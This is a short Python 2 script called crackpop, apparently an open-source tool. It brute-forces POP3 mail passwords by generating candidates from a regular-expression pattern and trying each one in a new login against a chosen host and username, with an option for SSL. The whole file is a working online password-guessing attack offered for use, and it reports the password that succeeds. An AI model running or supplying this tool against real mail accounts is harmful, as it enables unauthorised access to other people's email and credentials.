#!/usr/bin/env python
#
# crackpop - a pattern-generated-dictionary pop3 password cracker
#
# Copyright (C) 2013  Antonio Ospite <ospite@studenti.unina.it>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

import argparse
import exrex
import poplib

__description = "crackpop is a pattern-generated-dictionary pop3 password cracker"
__version = "0.1"
__author_info = "Antonio Ospite"


# returns a tuple: (num_passwords, passwords)
# where passwords is an iterable type
def generate_passwords(password_pattern, dry_run=False):
    num_passwords = exrex.count(password_pattern)
    passwords = exrex.generate(password_pattern)

    if dry_run:
        print "Generated %d passwords." % num_passwords
        for p in passwords:
            print p
        return (0, iter([]))

    return (num_passwords, passwords)


# the passwords parameter is a tuple: (n, L)
# where L is an iterable type and n is the number of elements in L
def crackpop(host, port, ssl, user, passwords):
    if ssl:
        pop3_connect = poplib.POP3_SSL
    else:
        pop3_connect = poplib.POP3

    print "Testing %d passwords." % passwords[0]
    for p in passwords[1]:
        # TODO maybe the same connection can be reused for more than one try,
        # but some logic needs to be added to detect the maximum allowed
        # authentication attempts or a disconnection from the server.
        pop3 = pop3_connect(host, port)

        try:
            pop3.user(user)
            pop3.pass_(p)
        except Exception, e:
            print e.message, "(password: %s)" % p
            del pop3
            continue
        else:
            print "Found! (password: %s)" % p
            break


def option_parser():
    usage = "usage: %(prog)s [options]"

    parser = argparse.ArgumentParser(
        usage=usage,
        description=__description,
        epilog=__author_info,
        version='%(prog)s ' + __version)

    parser.add_argument(
        '-H', '--host',  metavar="<host>",
        dest='host', required=True,
        help='the host where the pop3 server is')

    parser.add_argument(
        '-P', '--port', metavar="<port>",
        dest='port', default=None,
        help='the port the pop3 server is listening on')

    parser.add_argument(
        '-u', '--user', metavar="<user>",
        dest='user', required=True,
        help='username of the pop3 account')

    parser.add_argument(
        '-p', '--pattern', metavar="<password_pattern>",
        dest='password_pattern', required=True,
        help='the regular expression describing the pattern of the password')

    parser.add_argument(
        '-d', '--dry-run',
        dest='dry_run', action='store_const', const=True,
        help='only print out the passwords, do not connect to the pop3 server')

    parser.add_argument(
        '-s', '--ssl',
        dest='ssl', action='store_const', const=True,
        help='use SSL to connect to the pop3 server')

    return parser


if __name__ == "__main__":
    parser = option_parser()
    args = parser.parse_args()

    if args.port is None:
        if args.ssl:
            port = poplib.POP3_SSL_PORT
        else:
            port = poplib.POP3_PORT
    else:
        port = args.port

    passwords = generate_passwords(args.password_pattern, args.dry_run)
    crackpop(args.host, port, args.ssl, args.user, passwords)